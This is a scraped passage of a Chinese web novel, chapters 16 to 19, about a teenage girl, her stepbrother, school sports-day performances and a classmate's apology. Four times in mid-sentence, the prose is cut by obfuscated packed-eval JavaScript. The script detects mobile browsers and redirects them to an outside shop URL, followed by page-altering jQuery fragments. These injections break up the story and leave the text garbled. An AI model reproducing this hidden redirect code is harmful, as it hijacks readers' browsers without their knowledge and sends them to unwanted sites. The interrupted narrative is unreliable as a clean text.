程嘉临咬一口,歪头咂摸一下,咬一口,歪头咂摸一下。
明歌观察着程嘉临的表情,问:“你不喜欢吗?”
程嘉临宛如发现了新大陆:“比我想象中好吃很多。”
明歌就笑,露出程嘉临很久不曾看到的,圆圆的梨涡,并且过了好一会儿都没有让它们消失。她的梨涡里好像盛了酒,酸甜的橘子味,温柔地覆盖他所有的感官,让他在温热的酒气里飘浮、眩晕。
“贺奶奶做的和外面卖的不一样,”明歌的语气里充满了“我就说好吃吧”的骄傲,“她打出来的艾草泥特别香。”
那时候明歌才五六岁,苏海工作还不稳定,只能带她租住在一间老破小里。
老楼楼道空间小,家家户户都挨得近,左邻右舍出点什么事,不用一个下午,整片住户都能知道。
大家都知道新搬来一对父女,这家的女主人不知所踪,身为父亲的年轻人忙于工作,家里一天到晚只有一个还没豆大的小女孩。
其实明歌知道苏海不回家不全是因为工作,他懒得管她,所以眼不见为净。
“贺奶奶每年一到这时候,身上就有艾草的味道,我一开始不知道这是什么,觉得好闻就总是偷偷往她身边凑,她发现我之后,就送了我一袋青团。”
“后来呢?”程嘉临轻声问。
“后来我爸不在家,她就总把我带回去吃饭。”明歌陷在回忆里,眼神有点茫然,“她孙子比我小几岁,一看奶奶还要做饭给别的小孩吃,就来找我麻烦。不过他太小了,打也打不过我,哭……哭也没哭过我,吃亏的一直都是他。”
“再后来我爸住不下去那间房子,就带着我搬家了,过了几年她腿脚不好,做了什么好吃的就邮寄或者支使她孙子送给我。”
程嘉临听得入神。
和提到父亲时完全不一样,说起贺奶奶,明歌是生动的、鲜活的。她一定非常仔细地观察过这位长辈,她如何在厨房忙碌,如何笑眯眯地问小女孩好不好吃,以至于想象力贫瘠如程嘉临,也能从她的描述中很快脑补出一个慈祥、温和又手巧的长辈形象。
程嘉临这次还是问出了一模一样的问题:“你想她吗?”
明歌停顿了一下,想说,不太想。
反正再过不久她就能考走,回江明或者去离江明很近的地方上学,她有很多机会看望贺奶奶。
但她发现程嘉临在观察
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406744|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她,这神情相当熟悉,明歌在脑海里仔细检索,对应上从海边回来的那个夜晚。
明歌忽然福至心灵,程嘉临不是单纯的好奇,他在探究她。
她要仔细斟酌这个答案,要情感饱满但不能过于外露,要让程嘉临的好奇心持续而不衰减。
明歌说:“有一点想她,我在江明的时候,也不是总能和她见面。”
哥哥果然开始好奇她在江明的日常。
……
她自己都不知道自己为什么要这么做,可能太晚了,到了犯困的时间,脑子不清醒也是人之常情。
*
明诗悦的居家申请为期一个月,宁外运动会通知下来的那天,刚好是她复职的前一个周五。
一个月和亲生女儿朝夕相对,她再不愿意面对,也不得不承认,明歌的存在让她压力倍增,甚至恐惧。
明歌不像她,从内到外的不像。她更像她的父亲,他们有如出一辙的浅色眼睛,和某种更为沉重、冰冷、不可改变的东西。明歌带来了独属于江明的潮湿的雾气,压在明诗悦的肩膀上,变成蛇,变成苔藓,变成腐败发臭的垃圾,成为一切让她觉得窒息和恶心的事物。
她也试着努力去疼爱自己的女儿,她为明歌掉的每一滴眼泪都是真的,可是她一看到她,就想起那些不堪的日子。
这段时间她噩梦不断,醒来后冷汗涔涔,生产时尖锐的疼痛好像在十七年后再一次缠了上来,隐秘而长久地折磨着她。
明歌收到过来自江明的快递,她知道有人给明歌寄来手工点心。那种点心表皮发苦还粘牙,明诗悦一吃就会干呕。程嘉临也不喜欢那种东西,可是明歌给的他却吃了。
就连程明谦也尝了,他说,味道还不错。
她人生中最重要的两个家人在逐渐偏向明歌。
她到底怎么能爱明歌?
学校临时消防检查,程嘉临难得不上晚自习,在饭桌上和程明谦例行汇报学校活动安排。
程明谦听说今年取消了亲子赛,大失所望,扬言宁外今年不能让他一展风采,是全校师生的损失。
程嘉临一言不发地给他看他去年两人三足带着自己一块摔跤的丢人视频。
有力的事实摆在面前,程明谦险些被饭噎着,转移了目标,问明歌:“小歌有什么想报的项目没有?”
明歌摇头:“我当观众。”
程嘉临幽幽地说:“恐怕不能如你所愿。”
程嘉临一语成谶,周一体委就带着报名表求到明歌面前:“仙女姐姐,善良的好心人,报个名吧,咱班不能空项目啊!”
大有她不答应就不让她进门的架势。
明歌无语,“你先让我进去,要迟到了。”
体委是个短发女生,个高腿长力气大,抱住明歌一通嗷嗷叫唤:“你同桌都报了,给个面子吧!好姐姐!”
同桌?
明歌推开体委凑过来的脸,和郑心榕对上视线。
郑心榕没有转学,她请了一个月的长假,然后回来了。
16. 正轨
明歌从体委怀里挣脱,走到座位边。
郑心榕在她看过来时飞快地移开目光,随着她走进,头越来越低,几乎贴到桌面上,肩膀高高耸起。
蓝色的校服西装裁剪精良,此时被她穿在身上却活像个超市环保袋,松垮垮地挂在她瘦削的双肩上,衣领遮不住她后颈突出的骨节。
她瘦得几乎脱相。
“让我进去。”明歌的语气很平静。
郑心榕愣了一下,她拖着椅子往前挪了挪,让明歌回到她的位置上。
交作业、早读、上课,明歌一如往常,郑心榕在或不在,并不会对她造成任何影响。
宁外最长的请假时间是一个月,而郑心榕是在第二十六天的晚上,拒绝父母让她转学的安排。
母亲对着她又打又骂,歇斯底里地问:“你是不是还想和男的不清不楚,是不是觉得傍了个有钱人就能一飞冲天了啊?你把你娘老子的脸都丢尽了,这事传出去,我们家要被人戳一辈子脊梁骨的啊……”
又说:“我和你爸辛辛苦苦省吃俭用,供你读书,你读了个什么回来?你还跟那个男孩子做了什么?小贱货,肯定是你勾引他的,要不然谁能看上你?”
污秽的咒骂如同之前无数次那样落在郑心榕的耳畔,可这次,她不知道从哪爆发出力量,挡住了母亲甩过来的巴掌。
瘦弱干枯的手腕被她抓在手里,郑心榕这一刻才发现,自己已经比母亲高了。
她说:“我说过我不想上宁外,是你们逼着我填志愿,是我爸一定要到处找人托关系把我塞进去,不是我愿意让你们给我花这么多钱的!”
郑心榕想哭,眼泪却好像已经流干了,她现在只觉得眼眶灼热,她想起蒋述,想起明歌,想起程嘉临说,她该道歉的对象那个真正被她伤害到的女孩子。
“我现在不转学,学费……学费我以后上大学打工还你们。”
那一天她歇斯底里地让母亲写欠条,瘦小的女人被她拉扯着,眼底充满迷茫与惊恐。
郑心榕浑身颤抖,说出去的话像一把尖刀,剔肉刮骨。她感到爽快,却不敢回忆与这种爽快相伴相生的疼痛。
她只能朝前看,想,回去之后,明歌会是什么反应呢。
明歌生气是理所应当的,她一定会好好道歉,如果能原谅她是最好的,不原谅的话也没关系,她会尽力弥补对明歌造成的伤害。
即使一开始接近明歌的动机不纯,现在明歌也是她最珍惜的朋友。
可明歌的态度并无任何改变,好像她们之间什么事都没发生,只要郑心榕愿意,还是可以无所顾忌地黏上去。
于是郑心榕的心一寸一寸地下沉,她在这种平静里,又一次失去勇气。
明歌在绝大多数情况下都是最好说话的那一类人,除了以下两种,一是给她表白,二是让她进行体力活动。
很不巧体委不了解明歌的个性,原本以为明歌会一口答应多给几个项目凑人头,没想到最后只能灰溜溜地遗憾离场。
“好姐姐,咱班纯理科小班,女子项目人数真的不够,我,咱班副班长,还有学委,算上团体项目,咱仨一共都报了八个项目了!”
明歌微笑,但不接茬。
许韵蔼——就是体委——霸占了副班长的一半座位,扭着身子趴在明歌桌子上哀嚎:“还有没有人愿意来啊?班干部也不能当驴使啊!”
副班长戳她:“秦钰呢?她好像能报个长跑。”
秦钰是他们班文娱委员,许韵蔼看了眼运动会时间表:“不行,她今年开幕式也得举牌,八百米在第一天,她换衣服来不及,开幕式上要表演的同学我直接都没问。”
秦钰正在给植物角的盆栽浇水,闻言说:“你给我报长跑吧,换个人举牌就是了。”
“那换谁……”许韵蔼改了表格,抬起头,和明歌四目相对。
明歌:“?”
许韵蔼一把捧住她的手:“仙女姐姐,我们不如各退一步。”
明歌:“……”
其实举着班牌绕操场走两圈儿也挺累的,但是不答应的话恐怕许韵蔼要继续求她跑八百米。孰轻孰重明歌还是能分清的,于是割地赔款,放弃了当路人观众的打算,摇身一变,成了高二三班的举牌手。
程嘉临倒不是很意外,周末在餐厅吃饭,问:“你们班今年抽到什么主题?”
宁外一向重视文体活动,运动会开幕式自古以来就有传统,每年一个大方向,大方向下有几个分支,由每个班体育委员抽取决定。
今年的大方向是致敬经典文艺作品,许韵蔼大手一挥,抽出一张“外语文艺片”。
高中生,除了学习什么事都一身干劲,副班长胆大包天,自作主张地把自习课变成讨论课,向全班收集idea,林霞发现后也没说什么。
学校只要求选择一部作品作为开幕式表演主题,同学们想法五花八门,一堂课没讨论出个结果。
明歌说:“外国文艺片,具体是哪一部还没定下来。”
“妹妹,我跟你说,咱班体委请假了,是你哥去抽的签,抽了个‘公主童话’。结果你猜怎么着,我们班还留校参加运动会的女生有一个算一个全上场了,女角色还是不够。”
说话的是赵奕潇,明歌好久没见到他了。他毕业之后出国,前段时间飞首都忙面签,前几天才回来。陈夏比她晚两天,两人都回来后,立马约饭,赵奕潇还特意提醒程嘉临记得把明歌带过来。
程嘉临发现好像自从明歌请了几天假开始,她和赵奕潇就慢慢不太联系了,现在赵奕潇有事找明歌,一般会经过一下程嘉临。
但是两个人见面时还是一样打打闹闹的,程嘉临便也没问他们之间发生了什么。
明歌问:“然后呢?”
程嘉临直觉不好,可是已经来不及了,赵奕潇躲过程嘉临捂他嘴的手,哈哈大笑道:“反正到那天总会被人家看到的,你哥要去演公主身边的小仙女了哈哈哈哈哈哈!”
小仙女……
扎丸子头,戴花环,穿小短裙,背着网纱翅膀的那种?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406745|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这不行吧,她哥那张冷脸能演得了美萌小仙女吗?!
……其实演公主挺合适的,比较冰清玉洁的那种。
明歌这么想着,接着问:“那谁演公主?”
赵奕潇更开心了:“哈哈哈哈哈哈!我啊!全班一致决定通过的,你哥终于要给我当跟屁虫了!”
陈夏无情地戳穿他:“他瞎说,本来是抽签决定的,演公主的是另外一个同学,但他一看到程嘉临抽到仙女教母,就非得演公主。”
“那也是全班都同意了啊!”赵奕潇嘴硬。
“是灰姑娘啊。”明歌突然想到她刚到宁城发烧的那次,向仙女教母许愿,想暖和起来,几分钟后这个愿望就实现了,因为程嘉临带着热水袋出现了。
“很合适。”明歌说。
餐厅在学校附近,菜色还不错,就是位置比较隐蔽,没什么人。
明歌吃饱了,程嘉临递给她一张湿巾:“袖口,擦一下。”
明歌抬手一看,不知道什么时候蹭的,她袖口沾了一片印子。
明歌试了试,普通的湿巾擦不干净,程嘉临想上手帮忙,陈夏提醒她:“去洗手间处理一下吧。”
明歌想想觉得有道理,去了洗手间。
她用洗手液简单搓了一下弄脏的地方,确认污渍不那么明显后出去,和赵奕潇打了个照面。
赵奕潇尴尬地一扯嘴角:“嗨。”
明歌:“……”
“那什么。”赵奕潇摸了摸鼻子,“陈夏和你哥有话要说,把我给赶出来了。”
言下之意不是来找明歌的。
明歌点头。
赵奕潇恨不得指天发誓:“真的,我是被他俩支开的,我不是那种死缠烂打的人啊。”
明歌说:“我知道呀。”
赵奕潇虽然咋咋呼呼的,其实比谁都有分寸,表白被拒之后就没怎么打扰过她,有事也都是让程嘉临作为中间人传话。
“其实我就是想让你知道一下,没有要你一定接受或者给你压力的意思,现在这样挺尴尬的,你那个,咳,你知道陈夏想跟你哥说什么不?”
赵奕潇已经尴尬得开始胡言乱语了,明歌无奈地对他笑了笑,“我们先回去吧。”
——没回成。
陈夏和程嘉临还在聊,明歌和赵奕潇走到一半,听见陈夏问:“你知不知道江乐对你——?”
赵奕潇捂脸:“妈呀,太刺激了。”
明歌本来想直接走出去打断他们,结果被赵奕潇拉到拐角,不得不被迫偷听他们的谈话内容。
声音不大,听得不是很清楚,陈夏情绪似乎有点激动,程嘉临偶尔应两声。
“这餐厅就是江乐生日那天定的,陈夏说约在这里的时候我就知道程嘉临这次不能善终了。”赵奕潇说,“陈夏怼起人来可狠了,没想到程嘉临也有这一天。”
程嘉临肯定知道江乐喜欢他。明歌想。
实在是太明显了,明显到她一个外人都能看出来,程嘉临只是一直在回避这件事而已。
17. 梨涡
“春风拂面,杨柳青青。在这万物复苏、生机勃勃的美好季节里,我们迎来了宁城外国语学校第xx届春季运动会……”
主持人慷慨激昂地在台上念开幕式开场词,明歌站在跑道尽头的等候区,许韵蔼在给她整理服装。
明歌原本以为自己只需要举着班牌走一圈,没想到宁外这种私立学校不比她以前读的公立,全校上下都对开幕式表演十分重视,许韵蔼说的“举牌”只是一个笼统的说法,她还得上场表演。
高二三班最终敲定的表演主题是法国电影《天使爱美丽》,秦钰和许韵蔼给她复刻了一套女主角的经典装扮:深红色连衣裙,小皮鞋,小红伞,本来还准备了同款假发,可是效果实在不太好,被全班同学一致否决,最后换成了稍长一点的款。
许韵蔼匆匆检查完明歌的服装,还得去后面整队。明歌腰后的别针松了,自己扣不上,向后排张望了半天都没找到许韵蔼在哪。
一个声音弱弱地说:“我帮你吧。”
明歌回头,郑心榕看到她转头,又把头低下去。
这段时间郑心榕一直在扮演一台兢兢业业的闸机,全自动给明歌进出座位放行,多的一句话都没有。
她回校后难得主动和明歌说一次话。
明歌点头,感觉到后腰的布料被扯动,而后宽松的衣服变得合身。
郑心榕又退回去,双手背在身后,专注地盯着自己的鞋尖。
扮演尼诺的同学生理期痛得走不了路,她因为身材和那个女生相似,临时成为了替补演员,穿着白衬衫和棕色背带裤,复古相机道具挂在她细瘦的脖子上晃荡。
明歌抿了抿唇,说:“你别紧张。”
面前的郑心榕立刻抬头,眼里写满受宠若惊,好像她和她说句话是什么很值得高兴的事情一样。郑心榕重重点头:“嗯!”
明歌就说,哦,好。
明歌等得快要睡着,终于有挂着工作牌的同学跑过来告诉他们,他们马上就要上场了。
演出流程其实很简单,班级方阵走到表演点位上,明歌作为主角,和扮演配角的同学一起,轮流串演电影经典场景。
先是艾美丽的父母,然后是盲人爷爷,再到玻璃人爷爷,最后一个场景是车站,几个同学举着背景板,她和尼诺遥遥对视,然后绕着方阵队形追赶几圈。
一切都很顺利,直到快结尾时,郑心榕大概是临时上场不熟悉队形,被队伍里的许韵蔼绊了一下,眼看就要扑到地上。
许韵蔼简直要捂眼,千钧一发之际,明歌从另一边窜出来,抓住郑心榕的胳膊用力一扯,两人抱了个满怀。
不明所以的观众发出一阵欢呼。
三人齐齐松了口气。明歌也不管正常流程了,听音乐快要结束了,把刚才硌得她胸前生疼的相机道具从郑心榕脖子上取下来,郑心榕立刻反应过来,搂住明歌,和她做了个合影的动作。
校领导和观看的同学们纷纷鼓掌,许韵蔼悄悄拍了拍胸口,小声说:“吓死我了。”
宁外不要求学生开幕式在操场上站着等领导致辞,给每个班都安排了观看区。有惊无险地演完了运动会开幕式,方阵组的同学回到观众席高二三班的区域。
清晨天气还有点阴,这会儿太阳已经完全出来了,春日阳光暖得发烫,观众席还稍微好一点,实在太热可以撑伞,操场上的人只有挨晒的份儿。
明歌想,这太阳能把妆都晒脱,她应该问问她哥涂没涂防晒霜。
……毕竟仙女教母是不能晒黑的。
明歌托着腮发呆。
她最近总有一些自己都未发觉的迟钝,好比现在,她心跳的频率又轻又快,像一只蝴蝶在胸腔里拍打翅膀,脸颊也微微发热,但是也许晚上,或者更久之后,她才能反应过来,自己在期待扮成仙女教母的程嘉临。
班级座位按照学号排,观众席座位也按照学号排,明歌和郑心榕还是挨在一起。
蓝天白云、颜色鲜艳的塑胶跑道、微风、阳光、鸟鸣和熙熙攘攘的人声。
氛围轻松的户外场景能让人放松压力,郑心榕观察着明歌的脸色,她刚才又帮了她一次,她积攒了那么久勇气,今天一定要把道歉和感谢好好说出口。
只要说出口就好,不被原谅也没关系。
她要告诉这个女孩子,她很珍惜她。
*
另一边。
即使从排练到正式上场已经见过许多次,赵奕潇一看见头上戴着尖帽子身着蓬蓬裙的程嘉临,还是会发出一阵惊天大爆笑。
程嘉临搞不懂他哪来的脸笑他,他自己戴着银色发箍、金色假发,穿着超级夸张的水钻公主裙就不好笑吗?
赵公主说,可是程嘉临比他要脸,这种时候越要脸越好笑。
程嘉临作为一个脸皮健在且厚度正常的人类无言以对。
陈夏演变身前的灰姑娘,她本来想像往常一样踹赵奕潇,奈何赵公主的裙子又大又贵,她只能暂且忍了。
看一眼笑得花枝乱颤的赵奕潇她就火大,干脆眼不见为净,把目光投向操场上的江乐。
江乐的班级和他们班前后脚上场,她年年都因为不能给江乐拍照而感到遗憾。
江乐不是重要角色,一袭白裙,举着他们的班牌,像一棵小树,笔挺地站在主席台下。陈夏看不到她的脸,但不妨碍她想象她家小月牙温柔又清淡的笑,越想越觉得,小月牙这么好的人,程嘉临凭什么可以不喜欢呢?
虽然程嘉临要是喜欢江乐她也会觉得他不配。
她说话做事向来不过脑子,哪天一冲动,对程嘉临说了许多不客气的话,如果江乐知道,一定会生气的吧。
可她马上就要出国了,她真的放心不下江乐,她一想到自己不在的时候江乐可能会伤心,就难受得吃不好睡不着。
轮到他们班上场了。
程嘉临问过明歌高二三班的观众位,不出意外,他演到施展魔法让灰姑娘变成公主去参加舞会的时候,应该正好暴露在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406746|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他妹的眼皮底下。
比比迪巴比迪布,很不高兴为你施展魔法……!
再难为情也要好好完成他整个高中阶段最后一次运动会开幕式。程嘉临定了定神,队伍走到表演点位,他按照排练好的那样,一边转圈一边挥魔法杖,陈夏找到空隙退场,赵奕潇提着裙摆顶上来。
观众席发出欢快的笑声。
程嘉临抬头,一眼就看到明歌。
她一身红裙,假发的颜色比她本身的发色深很多,整个人在阳光下白的发光。不知道是不是嫌日光太烈,她一手挡在额前,红扑扑的脸颊上投出一小片阴影。程嘉临鞠躬退场,明歌就放下遮额头的手给他鼓掌,梨涡圆圆,琥珀色的眼睛又浅又透。
程嘉临耳根发烫。
他的心脏被小狗咬了一口,尖尖的牙齿刺破动脉,某种滚烫的、无可回避的情感在酥麻的刺痛中喷涌而出。
他牙根都泛酸。罪魁祸首把他搞得一团乱,还一无所知地笑得那么好看。
明歌确实不知道自己鼓个掌给程嘉临带来了怎样的心理波动,只知道程嘉临念出咒语,她就想起暖水袋、虾滑面、姜撞奶,想起所有程嘉临带给她,或者与程嘉临有关的东西。
校领导一句废话都没有,讲话言简意赅,整个流程快得离谱,开幕式只占用了半个上午,剩下来的时间留给一部分项目的预赛。
程少爷又双叒叕忘记带水杯,宋阿姨送过来的时候他跑去换衣服了,是明歌去校门口拿的。
郑心榕以为她要去买水,慌忙拉住她:“我去帮你……”
明歌看了她一会,这一次郑心榕没避开她的目光,怯怯地与她对视。
明歌说:“我不是去买水。”
“那、那我也和你一起。”郑心榕急得快哭了,“我有话想跟你说……”
她跟着明歌走到离校门口很近、人很少的地方。
“小、小歌,对不起。”郑心榕一开始有些磕磕巴巴,越说到后面越顺畅。她一股脑地把这些天的心路历程全告诉了明歌。
“我知道都是我的不对,是我害得你遇到那么可怕的事情,我说这些只是想告诉你原因,不是要跟你卖惨让你同情我的意思,我也没、没指望你原谅我。对不起,真的对不起……还有,我还要谢谢你,为了很多事,谢谢你愿意和我做一段时间的朋友,我真的……”
她哽咽着,却强忍着没落下泪来。
明歌安静地听。
她本来就不愤怒也不难过,可是郑心榕太过真情实感,明歌几乎要被她感染。
她应该像以前一样全盘接受郑心榕所有的示好、所有的隐瞒,像以前一样当自己和她之间的旁观者。
她应该不纠结、不在意,可是郑心榕伸手抹眼泪的时候,她也感到眼眶发热。
她应该说“没关系,随便你”,可是她想到那把藏在校服口袋里,被她推出几寸的小刀。
她喉咙发紧,最后只能一声不吭地转身,丢下郑心榕,自己离开。
18. 谁家好哥哥做这种梦啊
明歌坐在高三的观赛区,程嘉临的水杯老老实实地在她脚边站岗,和她一起等待主人的到来。
她周围现在一片空荡——原本是大家为了给赵奕潇的大裙子腾位置,结果裙摆太过宽大导致他接连差点在台阶上踩空两次,于是扬言要穿裙子过一个上午的赵奕潇灰溜溜地跑去换衣服了。
程嘉临从上面下来,拍了拍明歌的头顶。
“鸠占鹊巢不讲武德啊,妹妹。”
明歌把他的手晃走,仰头,掌心向上摊开,面无表情道:“赎金,五百万,要不就撕票。”
程嘉临问:“人质是哪位?”
明歌另一只手指了指腿边的水杯:“它。”
程嘉临:……
五百万赎金是没有的,唯一的解决方案只有上供讨好这位不讲理的劫匪。
程嘉临从兜里摸出来一个小橘子,三下五除二,手心里就躺了一整颗干净饱满的橘子果肉。
“怎么样,橘子皮我留下,橘子肉送给你,比你厚道吧?”
明歌知道他在内涵自己之前给他塞橘子皮的事情,装听不见。
水杯送到了,明歌准备走人。
出于某些暂时不可告人的心思,程嘉临不想她走,于是按着她的肩膀说:“一会儿放学了,跑来跑去的多麻烦,就在这待着。”
“不是你说我鸠占鹊巢的吗?”
“我反悔了行了吧?”
明歌就说好吧。
宁外不会在办活动的时候非要检查各班纪律评流动红旗,跑上跑下递通讯稿、在场边给运动员加油和在观众席到处乱窜的人都不少,明歌坐在高三班级的区域也不显得突兀。
程嘉临暂且霸占了赵奕潇的位置,坐在明歌身边。
明歌很安静,托着腮,眼神空茫地看着操场。
程嘉临问:“怎么了?晒蔫儿了?还是不高兴?”
明歌一愣。
“没有。”明歌摇摇头,前言不搭后语,“刚才去校门口拿水杯的时候,郑心榕跟过来向我道歉了。”
“但是我没有不开心。”明歌强调道。
提到郑心榕,程嘉临的脸就臭了起来。
操场上吵吵嚷嚷的,没人注意到他们这边。明歌问,“你讨厌她?因为她把我拖下水吗?”
“我很想说我不讨厌她,因为她是受害者,我们不应该去谴责受到伤害的人,真正有错的是那个男生。”程嘉临说,“但我做不到。我很难不承认我就是不喜欢你那个同桌,她应该有刚好的解决办法,如果告诉家长不行,可以告诉老师,甚至早一步告诉你,求助你,求助我们家,事情就不会变成现在这样。”
“我就不会担惊受怕很久。你都不知道,我冲进洗手间的那一刻,看到你脖子被勒得一片通红,不管你当时是不是能保护自己,我反正是吓得心都要停跳了。”
程嘉临虽然平时也能很好地表达自己的想法,但很少像这样一次性说这么多。这时候他倒真有点哥哥的样子,千叮咛万嘱咐,絮絮叨叨个没完。
他最后叹了口气:“但我也没资格讨厌她,毕竟她对不起的是你,你们两个之间的事情怎么解决,我插不上话,但你不要让自己难过。”
明歌把下巴垫在膝盖上,程嘉临不知道她在想什么,但是他希望她听进去了,因为如果明歌难过了,他肯定也难过得要命。
两人之间的氛围由于提到郑心榕而变得有些沉重,程嘉临有心想活跃气氛,毕竟那种糟糕的事情多想无益。他回头看了看,戳了戳明歌的胳膊:“咱班公主回来了。”
明歌顺着他的视线往后看,赵奕潇脱了那身公主裙,换回校服,不过假发还戴在脑袋上,妆也没卸,他本来五官就挺清秀的,这会儿还真有点美女的感觉。
明歌的笑完全是下意识的,没有半点嘲讽他的意思,但赵奕潇看见明歌的一瞬间,很夸张地一抖,把原本跟在他身后的江乐和陈夏拉到身前,十分娇羞地弯腰躲在她俩身后。
明歌:……
她附在程嘉临耳边小声说:“其实你们穿裙子都还蛮好看的。”
程嘉临从她的语气中竟然听出一丝遗憾。
难道她言下之意是还想看他们穿裙子?
程嘉临不理解,且十分惊恐,默默地挪远了几厘米,向过来的几个人挥了挥手:“嗨。”
江乐撞上程嘉临的视线,不好意思地弯了弯眼角,抬起胳膊,晃了晃手里的矿物质饮料。
“那个,我买了水,我们班运动员分完还有剩下的,就来给你们分一分。”
她说着“你们”,在场的有一个算一个,谁都能听出来这个“们”字不发音。
陈夏悄悄瞪了程嘉临一眼,然后转过头去,满脸写着对闺蜜的恨铁不成钢。
程嘉临一阵心虚。
他明确地告诉过陈夏她不喜欢江乐,可除了尽可能地躲开江乐,他真的不知道如何在不伤害她的前提下拒绝江乐本人。
他正琢磨着,一道温软的嗓音插进来:“早知道我就不特意跑一趟给你送水杯了。”
江乐这才注意到程嘉临手里他自己的杯子。
明歌插的这句嘴恰到好处,不轻不重地解决了程嘉临的麻烦。程嘉临松了口气,略带歉意地说:“不好意思,浪费你的好意了。”
江乐伸出去的手僵在原位,表情也淡了下来。
明歌好像意识不到她的尴尬一样,笑盈盈地看向她:“江学姐。”
江乐收回手,飞快地调整好情绪,抓着水瓶一起背到身后,也和明歌打招呼:“好久不见,小歌。”
明歌笑意不减:“是很久啦。学姐,你今天好漂亮。”
明歌语气真诚,实话实说。
江乐很适合浅色的衣服,雪白的纱裙令她看起来十分温柔,黑白分明的眼睛亮而恬静。
从见到江乐的第一眼起,明歌就觉得她的眼睛非常好看,尤其那双眼睛里盛着程嘉临时,会花一样绽出柔软的羞涩。
可惜程嘉临并不喜欢,哥哥对她妈妈的讨好和宠爱也像这样避之不及,明歌心下遗憾,但还是很体贴地帮助程嘉临解决了眼前的困境。
*
光阴似箭,日月如梭——<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406747|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>俗套的开场白,但放在这里再合适不过。
快乐的时光总是短暂,运动会开了两天半,体感上却像只有两个小时。
高中生在操场上撒了两天欢,又被关进了四四方方的教室里。
好在校领导也知道刚热闹完的小孩子学不进去,运动会开完这天是周五,下午上两个小时自习就提前放学,高三则直接取消了晚自习。
程嘉临简直谢天谢地,他这两天没睡过一个好觉,一闭上眼,脑子就活跃得不得了。
想来想去,全都是明歌。
想到第一次见面时她怯生生地叫自己哥哥,想到她生病靠在他的肩膀上,他无聊在她头顶玩手影。
想到她第一次主动敲开他的房门,撒拙劣的谎靠近他。
想到她海滩边救人的身影,止不住颤抖的身体和冰凉的眼泪,想到那一晚热腾腾的虾滑面。
她的虚伪,她的脆弱。
她的勇敢,她的坚韧。
……
桩桩件件,历历在目,最后思绪定格在她翘起的唇角,和两颗浅浅的梨涡。
甜蜜和心痛各占一半,程嘉临甘拜下风,在梦里都对明歌言听计从。
梦里的光影朦朦胧胧,教室的窗帘被风吹起,扬起的纱轻轻滑过他的皮肤,带起一阵细微的颤栗。
他的课本全都掉在地上,有几本四仰八叉地摊开,空白处用红笔写满笔记,密密麻麻一片鲜红的字迹。
一支笔骨碌碌地滚到他脚边。
程嘉临捡起那只笔,始作俑者明歌坐在他的课桌上,小腿慢悠悠地晃,皮鞋后跟磕到桌腿,“嗒嗒”的脆响回荡在空荡的教室里。
她招招手:“哥,你来一下。”
程嘉临喉结滚动,问她要自己过去做什么,她不回答,只微微歪头,笑得那么甜,程嘉临便数不清多少次,又溺在若有似无的酒香里。
真是奇怪,他知道自己在做梦,却无法强迫自己醒过来。
梦里一切感官都被放大,恍惚间他甚至有种自己比平时更清醒的错觉。
程嘉临从耳根红到锁骨,一步一顿,缓慢地走过去。
然后双手撑在桌沿,把明歌整个人圈在怀里,困住她乱晃的腿。
明歌俯身,温热的呼吸喷洒在他的耳根。
“哥哥……”
程嘉临喉结滚动,他听到自己“咕咚”咽了一大口口水,心跳响得快要刺破鼓膜。
就听他妹妹兴奋地说:“哥,你能不能再穿一次仙女教母的蓬蓬裙?”
程嘉临:???
程嘉临:!!!
梦里的明歌不知道从哪变出一件和他运动会上穿的演出服一模一样的大裙子,见他无动于衷,“唰”的一下,拉出一个巨大的衣柜,里面挂满了各式各样五颜六色的小裙子!
“求你了,不喜欢蓬蓬裙这种短裙也行啊!长裙呢!哥!你穿裙子又好看又好笑!”
“不……”
这个不行,这个他不能答应啊,他没有这种癖好!
程嘉临虎躯一震,猛地掀开被子坐起来。
19. 早恋被抓怎么办
明歌慢吞吞地咽下最后一口酸奶,凌乱的脚步声由远及近,程嘉临手忙脚乱地下了楼。
程明谦张口就是调侃:“嘿,少爷终于听到闹钟了?”
明歌看着他眼下淡淡的青色:“你没睡好吗?”
